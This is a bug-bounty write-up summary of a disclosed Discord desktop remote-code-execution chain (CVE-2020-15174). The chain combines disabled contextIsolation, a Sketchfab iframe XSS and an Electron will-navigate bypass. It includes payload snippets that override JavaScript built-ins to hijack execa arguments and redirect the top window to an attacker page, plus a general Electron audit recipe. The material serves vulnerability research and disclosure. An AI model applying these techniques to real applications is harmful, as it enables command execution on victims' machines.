# Discord Desktop app RCE

Discord desktop chained missing contextIsolation, a Sketchfab iframe XSS, and an Electron will-navigate bypass to achieve RCE from a posted link.

- Payout: $5,000
- Severity: critical
- Program: Discord
- Credited: Masato Kinugawa
- Disclosed: 2020-10-17
- CVE: CVE-2020-15174
- Write-up quality: 9/10
- Original: https://mksben.l0.cm/2020/10/discord-desktop-rce.html
- Library page: https://bugbountylibrary.com/r/blog%3Amksben-l0-cm-2020-10-discord-desktop-rce-html
- Tags: domain:desktop impact:rce kind:bounty platform:blog sev:critical tech:electron technique:chained technique:source-review vuln:access-control vuln:rce vuln:xss

**Target:** Electron desktop app (Discord main window, iframe embeds, preload scripts)
**Root cause:** contextIsolation disabled lets page JS override built-ins used by preload/Node code; Electron fails to emit will-navigate for cross-origin top navigation from an iframe, bypassing navigation restrictions.
**Steps:**
1. Extract app.asar, read mainWindowOptions: nodeIntegration=false, contextIsolation=false, preload mainScreenPreload.js
2. Override `RegExp.prototype.test=()=>false` and `Array.prototype.join=()=>'calc'`, then call `DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions()` to hijack execa args
3. Find embeddable domain via CSP frame-src; craft OGP with `og:video:url` pointing to Sketchfab embed containing DOM XSS
4. Post URL in chat; iframe renders Sketchfab, XSS executes in iframe
5. From iframe XSS run `top.location='//l0.cm/discord_calc.html'`; will-navigate not emitted cross-origin, so top navigates to attacker page
6. Attacker page runs the built-in override payload in top context, achieving RCE
**How found:** Routine Electron review: read BrowserWindow options from extracted asar, noted contextIsolation=false; enumerated CSP frame-src domains to find embeddable services, tested each for XSS, found DOM XSS in Sketchfab footnote; tested top navigation from iframe and observed will-navigate not firing cross-origin, confirmed with minimal Electron app.
**Exploitation:** Attacker hosts a page with crafted OGP metadata pointing og:video:url at a Sketchfab embed vulnerable to DOM XSS. Victim posts/receives the link in Discord chat; the embed loads in an iframe, XSS fires, then top-level navigation to attacker page bypasses will-navigate, and the override payload triggers execa to run arbitrary commands.
**Escalation:** Chained three independent bugs: renderer JS execution (XSS) + contextIsolation absence (Node access) + Electron navigation bypass (escape iframe) to escalate from a chat link to OS command execution.
**Insight:** When auditing Electron apps, extract app.asar and read webPreferences first; if contextIsolation is false, grep preload-exposed modules for execa/child_process calls and override RegExp.prototype.test/Array.prototype.join to hijack arguments. Also enumerate CSP frame-src domains as embeddable XSS surfaces, and test whether will-navigate fires for cross-origin iframe-initiated top navigation.